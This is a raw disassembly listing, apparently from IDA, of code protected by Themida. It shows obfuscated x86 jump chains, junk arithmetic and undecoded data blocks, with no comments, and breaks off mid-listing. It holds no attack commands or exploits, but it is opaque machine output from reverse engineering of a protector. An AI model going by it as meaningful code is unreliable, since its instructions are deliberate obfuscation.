loc_55CFC8: ; CODE XREF: Themida_:005534B4j mov eax, [esp] add esp, 4 push edi push ebx mov ebx, 741B1C7Dh mov edi, 9BDB4856h sub edi, ebx mov ebx, [esp] add esp, 4 and edi, 4E6F7087h add edi, 6B377DA2h push edi push ecx jmp loc_56229A ; --------------------------------------------------------------------------- loc_55CFF8: ; CODE XREF: Themida_:0055258Dj pop ebx jmp loc_5589B9 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5810000h, 4, 5C242C87h, 8104C483h, 4C4h, 46D0E900h dd 0EBD1FFFFh, 0FF80D9E9h, 0E9C588FFh, 0FFFFDB56h, 815DEA09h dd 1A2004EAh, 5AD131BFh, 0FFE2BFE9h, 240C8BFFh, 4C481h dd 0FF550000h, 5D042474h, 8B24048Fh, 0A9E92424h, 81FFFFF1h dd 4C3h, 241C8700h, 0FF5226E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D065: ; CODE XREF: Themida_:0055367Dj mov [esp], edx jmp loc_56149E ; --------------------------------------------------------------------------- loc_55D06D: ; CODE XREF: Themida_:0055DA82j push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp sub al, 30h push 6348h mov [esp], ecx push 769Bh jmp loc_55A992 ; --------------------------------------------------------------------------- loc_55D094: ; CODE XREF: Themida_:0055325Fj xchg edi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] jmp loc_55A7E0 ; --------------------------------------------------------------------------- loc_55D0A3: ; CODE XREF: Themida_:0055DA9Fj or ebp, 1EB31BB2h shr ebp, 7 jmp loc_552B32 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EA290000h, 0E9242C8Bh, 7895h, 0C8BEA00h, 4C48124h dd 0E9000000h, 0FFFF9EB9h, 0F756DEF7h, 0E95E241Ch, 477Bh dd 0FD568h, 24348900h, 0C681E689h, 4, 548EE9h db 0 ; --------------------------------------------------------------------------- loc_55D0F1: ; CODE XREF: Themida_:0056282Dj sub ebx, 1090337h push ebp jmp loc_55376B ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 79D5E95Ch, 34FFFFFFh, 240C8B24h, 6804C483h, 53Bh, 54241C89h dd 0FF7561E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D11D: ; CODE XREF: Themida_:00558BC9j push ebx jmp loc_55B879 ; --------------------------------------------------------------------------- db 1 dd 6FC505F0h, 142D486Fh, 554DE126h, 696857h, 94E927C6h dd 0D1FFFFD4h, 0B1C6E9E6h, 148BFFFFh, 0B657E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D14A: ; CODE XREF: Themida_:00556FD7j push 4 pop eax add esi, eax pop eax push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_55D28C ; --------------------------------------------------------------------------- loc_55D160: ; CODE XREF: Themida_:005584EAj sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] jmp loc_554A80 ; --------------------------------------------------------------------------- dd 0E958C629h, 0FFFF9989h, 0C0E9D2F6h, 0FF000067h, 669D1C77h dd 241CD359h, 4554E99Ch, 2158FFFFh, 0E5C158C5h, 0E9514507h dd 5441h, 0E95DEF29h, 0FFFF89CBh, 3931E681h, 0D2E92B1Bh dd 54FFFF7Ch, 4EC835Bh, 0E9243C89h, 4A8Dh ; --------------------------------------------------------------------------- loc_55D1C8: ; CODE XREF: Themida_:00553DDFj mov [esp], ecx mov ecx, 0F732AB1h add [esp+4], ecx jmp loc_560A91 ; --------------------------------------------------------------------------- loc_55D1D9: ; CODE XREF: Themida_:005615B0j add ch, 6Fh xor ch, 0C6h dec ch push ax push ecx mov ch, 8Fh jmp loc_55EF59 ; --------------------------------------------------------------------------- a1s5b db '1è]5',0 db 4, 52h, 29h dd 8772E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1FA: ; CODE XREF: Themida_:00556B41j add edi, 33E502D0h shl edi, 1 jmp loc_557D5B ; --------------------------------------------------------------------------- db 83h dd 0BF5704C4h, 4, 6CDDC281h, 82E903A9h, 0B5FFFFC9h, 0EEF580DAh dd 0C8BE828h, 4C48124h, 28000000h, 2C3404D8h, 525404E5h dd 4EC81h, 4890000h, 3A8F6824h, 1E90000h, 81000044h, 4C3h dd 74FF5300h, 8F5B0424h, 248B2404h, 4B95124h, 0E9000000h dd 8E28h, 55B664B4h, 6CE9E600h, 5C000082h, 0E9243489h dd 0FFFFAA99h, 4AB0F66h, 2AE99C24h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D283: ; CODE XREF: Themida_:005660CAj pop edi dec edi push ecx push edi jmp loc_551EFA ; --------------------------------------------------------------------------- loc_55D28C: ; CODE XREF: Themida_:0055D15Bj add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_55AB6D ; --------------------------------------------------------------------------- dw 0A1B1h dd 0D1F6C9FEh, 0FF7822E9h, 0BE5655FFh, 99E790Ch, 790AEE81h dd 0B1E9099Eh, 0BE00007Ah, 4, 267CE9h, 55E18900h, 325A8CBDh dd 0F5814D7Fh, 7F325A8Fh, 5661E9h db 0 ; --------------------------------------------------------------------------- loc_55D2D9: ; CODE XREF: Themida_:00552337j add ebx, 4 xchg ebx, [esp] jmp loc_558DB4 ; --------------------------------------------------------------------------- dd 4C481h, 0ABE90000h, 5700005Ch, 0FFC073E9h, 35485EFFh dd 3E261CFh, 48BC601h, 4C48324h, 8104E6C1h, 4B5944F6h dd 0A6EB8139h, 0E9542306h, 0FFFFC101h, 24048F54h, 0FF8ABBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D321: ; CODE XREF: Themida_:005570F0j sub eax, esi pop esi add edx, 3867CC6h sub edx, 27114EFh sub edx, 2BDD7EAAh add edx, eax add edx, 2BDD7EAAh add edx, 27114EFh sub edx, 3867CC6h mov eax, [esp] jmp loc_557EC9 ; --------------------------------------------------------------------------- dw 0EAC1h dd 3ACA8107h, 815CF418h, 0F87B2CF2h, 81E2D114h, 0AD848CEAh dd 300FE937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D36E: ; CODE XREF: Themida_:00553D88j pop esp mov [esp], eax push edi mov edi, 38E7077Dh jmp loc_5518BB ; --------------------------------------------------------------------------- loc_55D37D: ; CODE XREF: Themida_:00555F2Ej mov edx, 2B6F3DCFh mov ebx, 8811933h jmp loc_55CC71 ; --------------------------------------------------------------------------- dd 240C8B66h, 51E28952h, 8C55D3B9h, 5E1C135h, 8304E1C1h dd 51E9FFE9h, 1000082h, 1CC181D9h, 0E93DDA51h, 7D7Dh ; --------------------------------------------------------------------------- loc_55D3B4: ; CODE XREF: Themida_:00557C83j xchg edi, [esp] pop esp mov [esp], ebx mov ebx, esp push ecx jmp loc_551748 ; --------------------------------------------------------------------------- db 81h dd 0D65094CAh, 8C2815Eh, 0E96FDE55h, 0FFFFB959h, 5AAEEB80h dd 4EC81h, 0C890000h, 8040B524h, 0CCE996C5h, 56000056h dd 4B951h, 0CE890000h, 0F9A7E959h, 5056FFFFh, 90376268h dd 0CBAAE90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D406: ; CODE XREF: Themida_:00553455j inc ebp add ebp, 0F24F5F5Eh sub ecx, 0F013806h jmp loc_564223 ; --------------------------------------------------------------------------- dd 5C243C87h, 0FFC324E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D421: ; CODE XREF: Themida_:0055EFC7j mov [esp], eax sub esp, 4 mov [esp], ebx jmp loc_553EEE ; --------------------------------------------------------------------------- loc_55D432: ; CODE XREF: Themida_:00552DEEj xor edi, [esp] jmp loc_55DC38 ; --------------------------------------------------------------------------- dw 0C8Bh dd 1389E924h, 0C4830000h, 3666804h, 6E90000h, 54FFFFBFh dd 0FFAE4DE9h, 63E95DFFh, 5B000087h, 0B6DE948h, 2BBE0000h dd 81367550h, 0D1147ECEh, 0E9DEF715h, 436Ah, 31241C33h dd 0CEE9241Ch, 89FFFFF6h, 2BBD242Ch, 290DBD11h, 0BE565DEAh dd 6B677F9Fh, 53DEEE81h, 0F229F410h, 0EA83595Eh, 24143304h dd 0E9241431h, 0FFFFE553h ; --------------------------------------------------------------------------- loc_55D4A8: ; CODE XREF: Themida_:0055E37Aj add edi, 10F4093Eh xor edi, 658D538Bh mov ecx, edi mov edi, [esp] jmp loc_554021 ; --------------------------------------------------------------------------- dw 0FD01h a_hi db '_h© ',0 align 2 dw 3489h dd 13BA5224h, 8968B17Ch, 0CFE95AD6h, 5A000027h, 4246C81h dd 9BD0096h, 0FF4295E9h, 75685DFFh, 5B04742Eh, 348BF331h dd 4C48324h, 6650172Dh, 25B051Eh, 0D80167EBh, 6583BE56h dd 0E6817079h, 6884C0Fh, 6AB5EE81h, 1E91B7Eh, 81FFFF53h dd 1B701FF5h, 0A306E927h, 5358FFFFh, 42474FFh, 81241C8Bh dd 4C4h, 24048F00h, 242C895Ch, 3460BB53h, 0EB812617h, 38D637B1h dd 8107E3C1h, 656D8DEBh, 1EB811Fh, 0E9000000h, 77F5h ; --------------------------------------------------------------------------- loc_55D558: ; CODE XREF: Themida_:00559194j push edx push ebp mov ebp, 12253F09h mov edx, 0EDDAC0F7h jmp loc_5603E8 ; --------------------------------------------------------------------------- db 46h, 81h, 0EEh dd 8B01901Bh, 0A8CEA81h, 0F22973DDh, 1D2DE9h, 0F666400h dd 686602B6h, 89667D68h, 5FE92404h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D58F: ; CODE XREF: Themida_:0055B9C9j add ebx, 74A53211h jmp loc_565CD2 ; --------------------------------------------------------------------------- dw 8B66h dd 54522404h, 0E289525Ah, 3D75B850h, 8E257463h, 0D42752Eh dd 4B0909FDh, 77F83548h, 0F6E9164Fh, 8100008Dh, 0B33CE2C1h dd 0AE7CE973h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5CA: ; CODE XREF: Themida_:0056467Cj mov edx, esp add edx, 4 push eax push ebp jmp loc_556259 ; --------------------------------------------------------------------------- db 47h, 0F7h, 0DFh dd 0F781E7D1h, 2B078C6Fh, 0E95FFA29h, 1273h ; --------------------------------------------------------------------------- loc_55D5EC: ; CODE XREF: Themida_:00560A75j and ebp, 63B0413Eh push 5C7Eh mov [esp], edx mov edx, 6CCF41A3h dec edx add edx, 9881DFB2h and ebp, edx pop edx shr ebp, 6 xor ebp, 6DCDD2Ah jmp loc_5541A1 ; --------------------------------------------------------------------------- db 5Bh dd 0FFCE55E9h, 0ECE95BFFh db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D623: ; CODE XREF: Themida_:0055389Ej pop ecx not ebp add ebp, 72F6A23Fh sub eax, 3085B01h sub eax, ebp add eax, 3085B01h jmp loc_5652C3 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 7C010000h, 0E95F0424h, 0FFFF8F53h, 0CD31E931h, 0F181E931h dd 7F7F4BBCh, 601CEF81h, 0CF014838h, 4BA9E9h db 0 ; --------------------------------------------------------------------------- loc_55D665: ; CODE XREF: Themida_:00556D9Dj xchg eax, [esp] pop esp push eax mov eax, 0 add eax, ecx jmp loc_55B302 ; --------------------------------------------------------------------------- dw 3C33h dd 4D35C24h, 6BE99C24h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D683: ; CODE XREF: Themida_:0055A2E8j xor ebp, ecx xor ecx, ebp xor ebp, ecx jmp loc_55AAD2 ; --------------------------------------------------------------------------- dw 4BDh dd 81000000h, 4F275AC2h, 0C42EE92Fh, 0A12DFFFFh, 5651D59h dd 34E75549h, 6450BD55h, 4D454AECh, 0C104E5C1h, 0EDC104E5h dd 0A0C58108h, 17B42A8h, 2DE95DE8h, 1FFFF97h, 2434FFF0h dd 4C4835Eh, 6802C083h, 698Ch, 0FF240489h, 0FF042474h dd 81582434h, 4C4h, 24048F00h, 6624248Bh, 68240C8Bh, 2912h dd 0E9243C89h, 0FFFFAB6Bh, 0E9D08850h, 0FFFFF6BBh, 57A3C781h dd 0C8B144Eh, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 0FFCDEDE9h, 280E2CFFh, 520E04C8h, 0E6C0BEB6h, 0FE526603h dd 66012444h, 8324148Bh, 0F4E902C4h, 8100001Ah, 9D35C0C2h dd 56EA8106h, 2DF1372Ah, 7630653Eh, 3E05D001h, 0E9763065h dd 0FFFF69A2h, 4C481h, 0C6810000h, 4, 8702C683h, 248B2434h dd 4296624h, 6FE99C24h, 1FFFF3Fh, 0DAEB81CBh, 814F603Dh dd 39363CC3h, 7F8CE903h, 34FF0000h, 24148B24h, 0FF5B17E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D79D: ; CODE XREF: Themida_:0055B8C2j add dword ptr [esp], 4 pop eax push ecx mov ecx, 58781692h sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_5541D5 ; --------------------------------------------------------------------------- db 5Eh, 58h, 0E9h dd 0FFFF419Eh, 4240483h, 8124048Fh, 42404h, 0D0E90000h dd 5FFFFF6Eh, 0C15AD129h, 5BE905E9h, 0B8FFFFDBh, 224B3B0Bh dd 8A3A5A2Dh, 2E94816h, 0BF000065h, 40FC345Fh, 25ABF781h dd 0FE314911h, 4EC815Fh, 89000000h, 0CEBE2434h, 81485915h dd 1C477EEh, 5EF32901h, 0EB6E9h, 4C48300h, 405h, 8EE95500h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D82B: ; CODE XREF: Themida_:00555771j sub esi, 4B6F120Bh add esi, 3E100314h mov edi, esi pop esi sub edi, ecx xchg edi, ecx pop edi add ecx, 24299EB7h sub edx, ecx pop ecx and ecx, edx jmp loc_55735A ; --------------------------------------------------------------------------- db 0B8h dd 1991D8Dh, 0E958C389h, 2EFFh, 52E9C701h, 29FFFF42h, 24348BF0h dd 0F704C483h, 0F7D8F7D8h, 51D8F7D8h, 863D78B9h, 95C1815Eh dd 0E92C9647h, 0FFFF9209h, 0E831E068h, 32E8E95Ah, 0DA010000h dd 6073E9h db 0 ; --------------------------------------------------------------------------- loc_55D895: ; CODE XREF: Themida_:005622EAj push 24855F5Fh pop ebx jmp loc_560C56 ; --------------------------------------------------------------------------- dd 0C580ABB5h, 60ED8023h, 0FF9A4AE9h, 2F76B9FFh, 0D9F71029h dd 8102E1C1h, 96E898C1h, 5CD3E95Fh, 0EF810000h, 51261811h dd 6C15C781h, 48B0400h, 4C48324h, 63E95552h, 1FFFFDCh dd 72CF05F0h, 872D7EBBh, 533B027Eh, 4D4382BBh, 5BD82913h dd 0FF9FC7E9h, 48B66FFh, 4EC8124h, 89000000h, 0EC832434h dd 24248904h, 4240483h, 8324348Bh, 555104C4h, 6706FBDh dd 8F956822h, 159DDF9h, 0C6815DE9h, 61183F61h, 0FF6D1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D92D: ; CODE XREF: Themida_:00564828j mov ecx, 5AFF61ACh add ecx, 0F5EFFFECh jmp loc_55862E ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 51D1E900h, 0C781FFFFh, 4, 0E904C783h, 0FFFF4339h ; --------------------------------------------------------------------------- loc_55D958: ; CODE XREF: Themida_:0055C603j pop esi push edi jmp loc_5534E8 ; --------------------------------------------------------------------------- db 8Fh dd 0E95C2404h, 295h, 24E9D901h, 0FF000085h, 2C8B2434h dd 4C48324h, 0FFAAB9E9h, 3C77FFFFh, 0FF2434FFh, 42E92434h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D98B: ; CODE XREF: Themida_:00562B39j xor ecx, 6F7001Ah jmp loc_55CD85 ; --------------------------------------------------------------------------- dw 555Fh dd 0A03A3BDh, 3EDC109h, 379DC581h, 0EDC13AAAh, 81EDD106h dd 9BD0F7C5h, 0E9EE016Eh, 0FFFF44DCh ; --------------------------------------------------------------------------- loc_55D9B8: ; CODE XREF: Themida_:00558A7Ej add esp, 4 push 10F0h mov [esp], ebx jmp loc_555F2D ; --------------------------------------------------------------------------- db 0B7h dd 5BF988D2h, 301BF180h, 8B4EE9CEh, 0C483FFFFh, 24143304h dd 0E9241431h, 14Ch ; --------------------------------------------------------------------------- loc_55D9E8: ; CODE XREF: Themida_:0055453Bj mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55CF20 ; --------------------------------------------------------------------------- db 5 dd 6E8F18FEh, 93BEE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA02: ; CODE XREF: Themida_:005530D6j mov edi, esp add edi, 4 jmp loc_55896D ; --------------------------------------------------------------------------- db 1 dd 0D4E959CDh, 5EFFFF77h, 104C483h, 24348BF5h, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 0FFFFDD19h ; --------------------------------------------------------------------------- loc_55DA34: ; CODE XREF: Themida_:005563EEj add esp, 4 jmp loc_564102 ; --------------------------------------------------------------------------- loc_55DA3C: ; CODE XREF: Themida_:005546E2j push edx pop ebp mov ebx, ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 jmp loc_55541B ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 7B46E9h, 11E95800h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA6F: ; CODE XREF: Themida_:00555081j sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], cx mov ch, 33h add al, ch mov cx, [esp] jmp loc_55D06D ; --------------------------------------------------------------------------- loc_55DA87: ; CODE XREF: Themida_:00554B24j xor edi, 28957277h push ebp mov ebp, 2C7C0E00h or ebp, 3B2617BCh xor ebp, 39EA50D7h jmp loc_55D0A3 ; --------------------------------------------------------------------------- dd 901205BEh, 0E6C14E0Ah, 3FC68104h, 0C11E300Ah, 0EE8105E6h dd 0DAEE0587h, 57FFEE83h, 374A58BFh, 5FFE310Bh, 7B7168h dd 24048900h, 0C720EAB8h, 95C7814Eh, 29089518h, 95EF81C7h dd 58089518h, 0FFB672E9h, 4C483FFh, 4C481h, 89530000h dd 4C381E3h, 68000000h, 2FDEh, 0E9240489h, 1CE2h ; --------------------------------------------------------------------------- loc_55DB08: ; CODE XREF: Themida_:00563721j push ecx mov ecx, 5863255Fh push ebp mov ebp, 28263B33h add eax, ebp pop ebp sub eax, 0C521493h sub eax, ecx add eax, 0C521493h jmp loc_55B9F0 ; --------------------------------------------------------------------------- loc_55DB28: ; CODE XREF: Themida_:0055C5DDj mov ebp, 2000h mov edi, ebp jmp loc_55C998 ; --------------------------------------------------------------------------- dd 0E9241433h, 0FFFF5765h, 0B8E9FD31h, 25FFFFADh, 38E6167Dh dd 42980D40h, 0E94040F8h, 6675h, 6795BB53h, 0DF2939A5h dd 32EF815Bh, 0E96C3523h, 0FFFFFCF4h, 97B95152h, 810B630Bh dd 563988C1h, 0BAE95136h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB7B: ; CODE XREF: Themida_:0055FC96j mov [esp], ebx sub esp, 4 mov [esp], ebp push ecx push 0D327E07h push dword ptr [esp] pop ecx add esp, 4 xchg eax, ecx xchg eax, ebp not ebp xchg eax, ebp sub esp, 4 mov [esp], ecx push eax mov ecx, [esp] add esp, 4 pop eax sub ecx, 1 jmp loc_563E66 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0F4BF575Dh, 47007B3Ch, 5B78F781h, 0FD01A54Dh, 0E9243C8Bh dd 0FFFF757Bh, 4BBh, 5BDA2900h, 0FF906BE9h, 6D8DBEFFh dd 0EE814DBFh, 27293DC1h, 2414F756h, 5EEC15Eh, 4D3AE9h dd 0EA895F00h, 4325E9h, 4C28100h, 0E9000000h, 6C9h, 5F2434FFh dd 4C481h, 0C7810000h, 4, 2BF5751h, 89000000h, 0CF015FF9h dd 50240C8Bh, 405E089h, 83000000h, 0E95004C0h, 0FFFF4601h ; --------------------------------------------------------------------------- loc_55DC38: ; CODE XREF: Themida_:0055D435j mov esp, [esp] mov [esp], esi push 3158h mov [esp], ebx pop esi mov eax, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_557A7C ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 4895C24h, 3A78E924h, 602DFFFFh, 1419F37h dd 8230E9C6h, 34FFFFFFh, 2434FF24h, 8B2434FFh, 0E9562404h dd 709Bh, 6E5BEA81h, 34FF7BB0h, 0EFC8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCA2: ; CODE XREF: Themida_:00555B0Dj push dword ptr [esp] pop eax jmp loc_55E131 ; --------------------------------------------------------------------------- db 81h dd 11527CE9h, 0C875D75h, 24895C24h, 0AA91E924h, 34FFFFFFh dd 2434FF24h, 0FFDD89E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DCC9: ; CODE XREF: Themida_:00551BA0j pop esp mov [esp], esi pop ebx pop esi sub ebx, 198F1925h add ebx, edi add ebx, 198F1925h push dword ptr [ebx] jmp loc_5613CB ; --------------------------------------------------------------------------- dd 8103E2C1h, 9020A8EAh, 9BEA8147h, 0E9A09E62h, 6900h dd 81241C8Bh, 4C4h, 24048F00h, 0FF639AE9h, 242C89FFh, 7C264ABDh dd 4E5C10Bh, 4BC7F581h, 0C14D726Eh, 0F58105E5h, 0FDA19501h dd 2C8BEE31h, 6C0DE924h, 0A4B2FFFFh, 1C8BFA30h, 4C48324h dd 0FFB650E9h, 0EC81ACFFh, 4, 0FFD602E9h, 240C89FFh, 0FF0236B9h dd 1323E917h, 0EF810000h, 4006C15h, 0FF6AC1E9h, 1F02BFFFh dd 0FE31403Dh, 0EEBA525Fh, 81709335h, 233B61EAh, 0A11DE909h dd 515CFFFFh, 0C181E189h, 4, 3E4E9h, 6B6E6800h, 3BE90000h dd 4D00006Ch, 38BAE9h db 0 ; --------------------------------------------------------------------------- loc_55DD99: ; CODE XREF: Themida_:0055814Dj sub bl, 0FFh sub bl, 2Dh jmp loc_5548E5 ; --------------------------------------------------------------------------- dd 24048F5Dh, 0FF8DA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DDAD: ; CODE XREF: Themida_:0055E1DCj add ebx, 4 add ebx, 4 jmp loc_563B83 ; --------------------------------------------------------------------------- loc_55DDBB: ; CODE XREF: Themida_:0055FB6Aj movzx ax, byte ptr [eax] jmp loc_56376E ; --------------------------------------------------------------------------- dd 61A7C381h, 0C3810EC4h, 6B860BA2h, 1317E9h db 0 ; --------------------------------------------------------------------------- loc_55DDD5: ; CODE XREF: Themida_:005602F1j pop esi push esi mov esi, 4 jmp loc_55B5C2 ; --------------------------------------------------------------------------- loc_55DDE1: ; CODE XREF: Themida_:0056697Bj add ah, 6Ch add bh, ah pop eax push 27Bh mov [esp], edx mov dh, 3Dh or bh, dh mov edx, [esp] jmp loc_566ADE ; --------------------------------------------------------------------------- db 58h dd 50D7F75Fh, 4EC81h, 3C890000h, 342CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE0E: ; CODE XREF: Themida_:0055F232j add edx, eax pop eax add edx, 38B85B67h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xor edx, [esp] jmp loc_55C57A ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 0E956E389h, 0FFFFFA4Ch ; --------------------------------------------------------------------------- loc_55DE38: ; CODE XREF: Themida_:00561B62j push ecx mov ecx, 6AFD1759h sub ecx, 1 jmp loc_559778 ; --------------------------------------------------------------------------- dw 0D921h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55F1DD ; --------------------------------------------------------------------------- db 81h dd 6B2B18EFh, 3EEF813Eh, 56C17483h, 0E8E9FE89h, 55FFFF6Dh dd 2F1088BDh, 85CD815Bh, 81143750h, 0E23193F5h, 3BF4E905h dd 4BE0000h, 1000000h, 24348BF7h, 8104C483h, 4EFh, 0A358E900h dd 0F66FFFFh, 9C2404B3h, 0FF384DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DEA1: ; CODE XREF: Themida_:0056246Fj add esi, edi mov edi, [esp] add esp, 4 sub esi, 4 jmp loc_55B403 ; --------------------------------------------------------------------------- db 29h, 0C1h, 58h dd 89CA8952h, 2D595AD5h, 7E42743Dh, 8904EC83h, 6BE9241Ch db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DECB: ; CODE XREF: Themida_:00557F21j add si, bx pop ebx add bx, si pop esi add bx, si jmp loc_5636E8 ; --------------------------------------------------------------------------- loc_55DEDB: ; CODE XREF: Themida_:0055B9F6j add eax, edi push esi mov esi, 34A57C77h sub esi, 6D124E77h add esi, 1 xor esi, 9FF00B5Eh add eax, esi jmp loc_55CBA1 ; --------------------------------------------------------------------------- loc_55DEF9: ; CODE XREF: Themida_:00559CCCj push ebx mov ebx, esp push esi mov esi, 4F740D29h sub esi, 4F740D25h jmp loc_55C4EC ; --------------------------------------------------------------------------- aAa db '² €ÇÙ',0 aAqSv db '×€ïÙéV{',0 align 4 dd 0E01CD4B8h, 6DF52578h, 0D9E96429h, 81FFFF53h, 4ECh dd 243C8900h, 0E9515F54h, 7C2Dh, 0BF243C89h, 4, 9FE9FD89h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF4B: ; CODE XREF: Themida_:00555FCEj add ebp, eax jmp loc_553BD3 ; --------------------------------------------------------------------------- loc_55DF52: ; CODE XREF: Themida_:0055AEDFj add esi, edx pop edx add esi, 4 jmp loc_561887 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 2C48324h, 0AAE94104h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF6B: ; CODE XREF: Themida_:0055A546j add esp, 4 xchg eax, [esp] mov esp, [esp] add ecx, 93668C7h push ecx sub esp, 4 jmp loc_5564D5 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF40DFE9h, 24048FFFh, 0FF7468E9h, 4E6866FFh, 14896656h dd 4BB05024h, 0E8C0012Ch, 66C0FE08h, 28000068h, 48A2404h dd 2C48324h, 5068FF34h, 0E900000Dh, 0FFFF3EE9h, 7534BE56h dd 0F0E974E6h, 48000077h, 0FF789EE9h, 4C481FFh, 0E9000000h dd 0FFFF9A58h, 757BBB53h, 0BA524B5Fh, 0EA91095h, 0ECB8EA81h dd 0D029B1D1h, 0FF6BBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DFF9: ; CODE XREF: Themida_:00566AECj push ebx mov bl, 0Dh mov ch, 0F4h jmp loc_557267 ; --------------------------------------------------------------------------- db 0BDh dd 6CB6498Eh, 0FF5623E9h, 241487FFh, 2434895Ch, 766BE9h dd 88FD8800h, 8B3AE9EEh, 47210000h, 2434FF1Ch, 8324048Bh dd 545704C4h, 4C7815Fh, 83000000h, 0E95704C7h, 0FFFF47A1h dd 0E904C283h, 0FFFF4E96h, 83240C8Bh, 545204C4h, 6443E9h dd 53D83000h, 806BB151h, 0C9FE45E9h, 0E1C0C9FEh, 0F4C18006h dd 0C8BCF88h, 4C48324h, 2454F653h, 0B07E901h, 0E9810000h dd 0DAF02F15h, 5259C809h, 5D0AF6BAh, 0EEF28148h, 2910DFEFh dd 232DE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E096: ; CODE XREF: Themida_:00566C66j pop esp mov [esp], edx push 5D0Ah mov [esp], ebx jmp loc_5606F1 ; --------------------------------------------------------------------------- db 1 dd 0BF1EE9D8h, 0DD01FFFFh, 7F49C581h, 34FF5306h, 241C8B24h dd 4C481h, 0C4810000h, 4, 590ACD81h, 0E5C12BB2h, 0AE95207h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E0D7: ; CODE XREF: Themida_:005534D8j movzx eax, al mov dx, [esp] push 40B6h mov [esp], ebp push 3C99h jmp loc_553197 ; --------------------------------------------------------------------------- dd 0F0E93A04h, 0BE000067h, 3E405A21h, 815EF329h, 0D46569C3h dd 0E9BA5235h, 81411770h, 0AC14BFCAh, 0E2EA8176h, 0E972DB2Eh dd 0FFFFCB9Ah ; --------------------------------------------------------------------------- loc_55E11C: ; CODE XREF: Themida_:00564011j mov ch, 0EAh mov bl, ch pop ecx shl bl, 4 inc bl xor bl, 39h and ch, bl pop ebx jmp loc_56378A ; --------------------------------------------------------------------------- loc_55E131: ; CODE XREF: Themida_:0055DCA6j add esp, 4 mov esi, [esp] add esp, 4 push esi push ebx pop esi jmp loc_55AE84 ; --------------------------------------------------------------------------- db 1, 0DFh, 81h dd 0D4BC9EFh, 0F8295B32h, 4264685Fh, 14890000h, 2802BA24h dd 0D0291305h, 240C8B5Ah, 5704C483h, 18B6E9h, 4BB5300h dd 29000000h, 241C8BD9h, 8704C483h, 248B240Ch, 242C8924h dd 536AB850h, 0E95502B8h, 70E4h, 815FFB01h, 0E01F0FC3h dd 0CFC38150h, 0C139423Fh, 1DE903E3h, 55000045h, 0F5138CBDh dd 0E9E80968h, 0FFFF3BE3h, 4BAh, 900CE900h, 0FB68FFFFh dd 8900003Dh, 5B54241Ch, 4C381h, 0C3830000h, 0F29EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1D6: ; CODE XREF: Themida_:0055C031j mov edi, [esp] push ebx mov ebx, esp jmp loc_55DDAD ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 31h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1E7: ; CODE XREF: Themida_:005643DAj mov eax, 5D7010C9h jmp loc_55333B ; --------------------------------------------------------------------------- db 81h, 0C2h, 8Ah dd 0E9319542h, 0FFFFA263h, 0A023E956h, 0C381FFFFh, 0B2562793h dd 815BDE89h, 535844F6h, 0D7C68100h, 0E929F3A4h, 0FFFFAA06h dd 52D830ACh, 